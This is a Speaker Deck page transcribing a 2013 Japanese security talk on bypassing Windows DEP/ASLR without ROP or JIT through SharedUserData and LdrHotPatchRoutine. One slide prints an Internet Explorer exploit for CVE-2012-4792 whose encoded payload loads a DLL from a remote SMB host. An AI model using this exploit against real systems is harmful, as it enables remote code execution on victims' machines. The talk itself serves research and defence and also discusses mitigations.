Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。
Search
Satoshi MIMURA
March 29, 2013
Research
0
16
APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。
CanSecWest 2013 で公開された資料を詳しく見てみた。
Satoshi MIMURA
March 29, 2013
Tweet
Share
More Decks by Satoshi MIMURA
See All by Satoshi MIMURA
Inside wsl
mimura1133
0
21
Edomae 2015 - マルウェアを解析してみよう
mimura1133
0
51
Windows でも TeX 編集がしたい!
mimura1133
0
18
3本指ジェスチャの仮想デスクトップ機能を Windows に実装した話
mimura1133
0
24
Windows のカーネルモードドライバで填まった話
mimura1133
0
24
マシン語によるコード実行
mimura1133
0
12
Iron python と c sharp
mimura1133
0
18
Unix と windows 世界の融合
mimura1133
0
18
Windows Phone 7 と XNA の世界
mimura1133
0
16
Other Decks in Research
See All in Research
[RSJ25] Enhancing VLA Performance in Understanding and Executing Free-form Instructions via Visual Prompt-based Paraphrasing
keio_smilab
PRO
0
190
超高速データサイエンス
matsui_528
1
330
単施設でできる臨床研究の考え方
shuntaros
0
3.3k
"主観で終わらせない"定性データ活用 ― プロダクトディスカバリーを加速させるインサイトマネジメント / Utilizing qualitative data that "doesn't end with subjectivity" - Insight management that accelerates product discovery
kaminashi
15
18k
Self-Hosted WebAssembly Runtime for Runtime-Neutral Checkpoint/Restore in Edge–Cloud Continuum
chikuwait
0
240
SNLP2025:Can Language Models Reason about Individualistic Human Values and Preferences?
yukizenimoto
0
230
生成AI による論文執筆サポート・ワークショップ ─ サーベイ/リサーチクエスチョン編 / Workshop on AI-Assisted Paper Writing Support: Survey/Research Question Edition
ks91
PRO
0
130
言語モデルの地図:確率分布と情報幾何による類似性の可視化
shimosan
8
2.4k
[Devfest Incheon 2025] 모두를 위한 친절한 언어모델(LLM) 학습 가이드
beomi
2
1.3k
大学見本市2025 JSTさきがけ事業セミナー「顔の見えないセンシング技術:多様なセンサにもとづく個人情報に配慮した人物状態推定」
miso2024
0
200
Remote sensing × Multi-modal meta survey
satai
4
650
AWSで実現した大規模日本語VLM学習用データセット "MOMIJI" 構築パイプライン/buiding-momiji
studio_graph
2
1.1k
Featured
See All Featured
Navigating Weather and Climate Data
rabernat
0
54
Are puppies a ranking factor?
jonoalderson
0
2.5k
What's in a price? How to price your products and services
michaelherold
246
13k
Context Engineering - Making Every Token Count
addyosmani
9
560
Primal Persuasion: How to Engage the Brain for Learning That Lasts
tmiket
0
190
Unsuck your backbone
ammeep
671
58k
Build The Right Thing And Hit Your Dates
maggiecrowley
38
3k
What Being in a Rock Band Can Teach Us About Real World SEO
427marketing
0
150
[RailsConf 2023 Opening Keynote] The Magic of Rails
eileencodes
31
9.8k
The Organizational Zoo: Understanding Human Behavior Agility Through Metaphoric Constructive Conversations (based on the works of Arthur Shelley, Ph.D)
kimpetersen
PRO
0
200
Ten Tips & Tricks for a 🌱 transition
stuffmc
0
36
Testing 201, or: Great Expectations
jmmastey
46
7.8k
Transcript
ROP/JIT を使わずに DEP/ASLR を回避する。 CanSecWest 2013 の 資料の検証。 ROP/JIT を使わずに
DEP/ASLR を回避する。 1
お品書き 自己紹介 どんな資料なの 回避する対象の DEP / ASLR って、なんなの 今回の提案手法の概要とサンプルコード 実際に試してみた。
気になったところ。 ROP/JIT を使わずに DEP/ASLR を回避する。 2
自己紹介 三村 聡志 (@mimura1133) / APASEC 初参加 http://mimumimu.net/ セキュリティ&プログラミングキャンプ
2011 参加。 セキュリティ・キャンプ 2012 チュータ参加。 ROP/JIT を使わずに DEP/ASLR を回避する。 3
どういう資料なのか。 冗談はこの辺で。 ROP/JIT を使わずに DEP/ASLR を回避する。 4
資料概要 CanSecWest Vancouver 2013 で発表された資料。 NSFOCUS Security Labs の Yang
Yu さんが発表。 ROP や JIT を使わずに、 DEP や ASLR を回避して、 任意のコードを実行しよう、 という内容。 ROP/JIT を使わずに DEP/ASLR を回避する。 5
じゃ、回避したい それってなに? ROP/JIT を使わずに DEP/ASLR を回避する。 6
DEP (データ実行防止) メモリ上のデータに「実行不可能」という 印をつけて、動作を制限する。 攻撃者が不正なプログラムを送り込む際に、 本来は実行プログラムのデータが格納されるはずのない 場所にデータを格納して、実行させようとする所に着目。 下手なシェルコードを送り込むと、これで弾かれる。
カーネルでやらかすと ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY が発生。 詳しく書くと : x86_64 版 Windows + x86_64 環境用の実行ファイル 全てに適用される。 (AlwaysOn) BCD にて nx = AlwaysOff と指定すれば外れる。 スレッドスタック (Kernel,User), ページ領域 (User), Paged pool (Kernel), Session Pool (Kernel) が対象。 x86 版 Windows or x86 環境用の実行ファイル 重要なもののみに原則適用。 (OutIn) ただし、サーバ用OS では原則全て (OptOut) なお、PAE (Physical Address Extension) が有効な環境でないと、ハードウェア DEP が有効にならない。 スレッドスタック (User), ページ領域 (User) ROP/JIT を使わずに DEP/ASLR を回避する。 7
ASLR (アドレス空間配置のランダム化) 下記データのメモリアドレスを不定にする。 イメージ(実行データ) スタック領域 ヒープ領域
攻撃者が内部のコードを使って攻撃することがあるが、 アドレスを不定にしてそれをしにくくする。 分からなければ、3時のおやつを 「いつも同じ特定の場所」 に隠して置くと、 いつの間にかバレて、おやつが食べられてしまうことを想像しよう。 詳しく書くと: TSC (CPU のタイムスタンプ値) を元に8ビットの値を生成して、 254 で割り、1を足したものに 64KB を掛ける。 DLL に関してはシステム起動時に1回計算し、その値を元にランダム化する。 イメージは (0x50000000 – 0x78000000) ヒープは (0x00000000 – 0x001F0000) の範囲が原則。 ROP/JIT を使わずに DEP/ASLR を回避する。 8
ROP (Return-Oriented-Programming) イメージとしては、 新聞で脅迫文(失礼) を作るような感じ。 仕掛けとしては、 “ret” 命令で戻る際のアドレスが書き込まれているスタック領域を、 プログラム内でつかえそうな部分のアドレスに書き換える。
あとは、ret -> 指定箇所が実行される -> ret -> 指定箇所2が実行される… の繰り返し。 実行不可能な場所を使っているのでは無く、 実行可能なコードを組み合わせて使う。 先述の DEP に対してはこれで何とかなる。 ただ ASLR が掛かってると、欲しい箇所のアドレスが分からない。 ROP/JIT を使わずに DEP/ASLR を回避する。 9
JIT (Just-In-Time) [Compiler] 身近な例では Microsoft .NET, Mono, Java, JavaScript
(実装による) 実行中に「実行可能コード」を ”生成” する。 実行中に悪用可能なコードを実行可能コードとして配置できる。 過去にあった例:PDF (BlackHat DC 2010) ROP/JIT を使わずに DEP/ASLR を回避する。 10
でも動かすのめんどい。 問題のある JIT コンパイラを搭載している環境があるかどうか。 ROP が出来そうな、 ASLR の掛かっていないやつがあるかどうか。 => ではこれ以外の環境ではどうするの?
今回の発表. ROP/JIT を使わずに DEP/ASLR を回避する。 11
概要とサンプルコード ROP/JIT を使わずに DEP/ASLR を回避する。 12
概要 Windows NT4 以降の Windows では、 0x7ffe0000 に SharedUserData 構造体のデータが
アドレス固定で置かれている。 x86 環境では: 0x7ffe0000 + 0x300 の位置に SystemCall へのポインタが置かれている。 ax (eax ではない) の値を正しく設定し、 SystemCall を呼べれば、システムコールできる! x86_64 環境 (for x86 アプリケーション) では: 0x7ffe0000 + 0x340 の位置から Wow64SharedInformation 構造体のデータが格納されてる。 その中からさらに +0x010 した位置 ( 0x7ffe0350 ) に、 ntdll!LdrHotPatchRoutine へのポインタが置かれている。 このAPIを使って、任意の DLL を読み込ませて、任意のコードを実行できる! ROP/JIT を使わずに DEP/ASLR を回避する。 13
SystemCall を使った手法 (for x86) MS08-078 (ポインタ参照の メモリ破壊の脆弱性) を応用したサンプル。 eax の先を
“7c02fe7f” (0x7ffe027c + 0x84 = KiFastSystemCall) になるようにメモリを埋めておく。 このコードが成功すると、 0x11db のシステムコールが実行される。 ROP/JIT を使わずに DEP/ASLR を回避する。 14
ntdll!ldrHotPatchRoutine を使った手法 ( for x86_64 ) ROP/JIT を使わずに DEP/ASLR を回避する。
15 function CVE-2012-4792_EXP() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); window.location = "¥u0274¥u7ffe¥u4242¥u4242¥u0014¥u0030¥u0044" + "¥u0012¥u1212¥u0004¥u005c¥u005c¥u0031¥u0039¥u0032¥u002e¥u0031" + "¥u0036¥u0038¥u002e¥u0035¥u0039¥u002e¥u0031¥u0032¥u0038¥u005c" + "¥u0078¥u005c¥u0078¥u002e¥u0064¥u006c¥u006c¥u006e¥u0074¥u0064" + "¥u006c¥u006c¥u002e¥u0064¥u006c¥u006c"; } struct HotPatchBuffer { ULONG NotSoSure01; // => EAX へ ULONG NotSoSure02; USHORT PatcherNameOffset; USHORT PatcherNameLen; USHORT PatcheeNameOffset; USHORT PatcheeNameLen; USHORT UnknownNameOffset; USHORT UnknownNameLen char[] PatcherName; char[] PatcheeName; }; PatcherName : ¥¥192.168.59.128¥x¥x.dll PatcheeName : ntdll.dll
ntdll!ldrHotPatchRoutine を使った手法 ( for x86_64 ) MS13-008 を応用したサンプル。 先ほどのコードが実行されると、 LdrHotPatchRoutine
が実行さ れる。 また、事前に “push edi” とし ている点から、 関数に必要なパラメータはここか ら持ってこれる。 ROP/JIT を使わずに DEP/ASLR を回避する。 16
実際に試してみた。 ROP/JIT を使わずに DEP/ASLR を回避する。 17
テスト環境 Windows 7 Service Pack 1 (x86, x86_64) + Internet
Explorer 8 Windows 8 (x86, x86_64) + Internet Explorer 10 留意点: MSDN よりダウンロードした状態でそのまま使う。 Windows Update 等は禁止する。 ROP/JIT を使わずに DEP/ASLR を回避する。 18
挿入するDLL : BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved) { switch(fdwReason)
{ case DLL_PROCESS_ATTACH: MessageBox (NULL,L"HELLO APA SEC!",NULL,NULL); break; } return TRUE; } ROP/JIT を使わずに DEP/ASLR を回避する。 19
実行させてみた。 ROP/JIT を使わずに DEP/ASLR を回避する。 20 なお、実行後は IE が応答無しになる。 また、x86
版 Windows だとすさまじい数のアラートが出る。
もっと動かしてみた。 ROP/JIT を使わずに DEP/ASLR を回避する。 21
気になったところ。 ROP/JIT を使わずに DEP/ASLR を回避する。 22
この攻撃を防ぐには? LdrHotpatchRoutine のパラメータを見る。 外向けファイアウォールで、 SMB 通信を切る。 ROP/JIT を使わずに DEP/ASLR を回避する。
23 struct HOTPATCH{ DWORD Flags; DWORD Size; union { struct CodeInfo { } struct KernelInfo { } struct UserModeInfo { } struct InjectionInfo { } struct RenameInfo {} struct AtomicSwap { } } } Flag は正しい? size は正しい? リモートのファイル を見に行ってない? そもそも、 呼び出し元は? http://www.openrce.org/articles/full_view/22 ここに LdrHotPatchRoutine に対しての 詳しい資料がある。 APA akasaka -180 APA
SystemCall を指し示したポインタがない。 でも、KiFastSystemCall 自体は存在する。 Windows 8 では? ROP/JIT を使わずに DEP/ASLR
を回避する。 24 Windows 8 Windows XP Windows 8
Windows 8 では? Wow64SharedInformation がない。 ただし、メソッド自体は 残っている。 ROP/JIT を使わずに DEP/ASLR
を回避する。 25 Windows 8 Windows 7
x86 のサンプルについて 0x11db って NtGdiEngCheckAbort だとおもう。 NtUserLockWorkStation なら、 0x12db だとおもう・・w
ref : http://j00ru.vexillium.org/win32k_x64/ ROP/JIT を使わずに DEP/ASLR を回避する。 26
まとめ ROP/JIT を使わずに DEP/ASLR を回避する。 27
まとめ。 0x7ffe0000 にSharedUserData 構造体のデータが アドレス固定で置かれている。 そのうち、 x86 では KiFastSystemCall x86_64
では LdrHotPatchRoutine を呼び出すことが出来る。 特に後者ではスプレー不要のため、より簡単に呼び出せて危険。 Windows 8 では今回の問題に関する情報は削除されていた。 ROP/JIT を使わずに DEP/ASLR を回避する。 28
ROP/JIT を使わずに DEP/ASLR を回避する。 CanSecWest 2013 の 資料の検証。 ROP/JIT を使わずに
DEP/ASLR を回避する。 29